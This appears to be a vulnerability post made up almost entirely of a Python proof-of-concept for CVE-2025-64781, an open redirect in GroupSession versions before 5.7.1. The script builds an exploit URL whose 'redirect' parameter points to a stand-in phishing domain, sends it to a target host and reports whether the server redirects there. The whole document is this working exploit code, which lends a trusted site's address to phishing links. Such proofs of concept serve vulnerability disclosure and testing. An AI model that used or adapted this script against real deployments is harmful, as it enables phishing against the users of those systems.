CVE-2025-64781: GroupSession开放重定向漏洞

# CVE-2025-64781 PoC - GroupSession Open Redirect # Target: GroupSession Free/Cloud/ZION < v5.7.1 # Attack Type: Open Redirect (Phishing) import requests import urllib.parse TARGET_HOST = "http://localhost:8080" # Replace with actual target GSESSION_PATH = "/gsession/main.do" def generate_malicious_url(redirect_target): """Generate malicious URL with open redirect payload""" params = { "redirect": redirect_target } query_string = urllib.parse.urlencode(params) malicious_url = f"{TARGET_HOST}{GSESSION_PATH}?{query_string}" return malicious_url def test_open_redirect(): """Test for open redirect vulnerability""" # Malicious redirect target (attacker-controlled site) evil_domain = "http://malicious-phishing-site.com" # Generate exploit URL exploit_url = generate_malicious_url(evil_domain) print(f"[*] Target: {TARGET_HOST}") print(f"[*] Exploit URL: {exploit_url}") try: # Send request and check response response = requests.get(exploit_url, allow_redirects=False) # Check for redirect headers if 'Location' in response.headers or 'location' in response.headers: redirect_location = response.headers.get('Location') or response.headers.get('location') print(f"[!] Open Redirect Detected!") print(f"[*] Redirects to: {redirect_location}") # Verify if it redirects to external domain if evil_domain in redirect_location: print("[!] VULNERABLE: Redirects to attacker-controlled domain") return True else: print("[-] No redirect detected or protected") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-64781 - GroupSession Open Redirect PoC") print("=" * 60) test_open_redirect()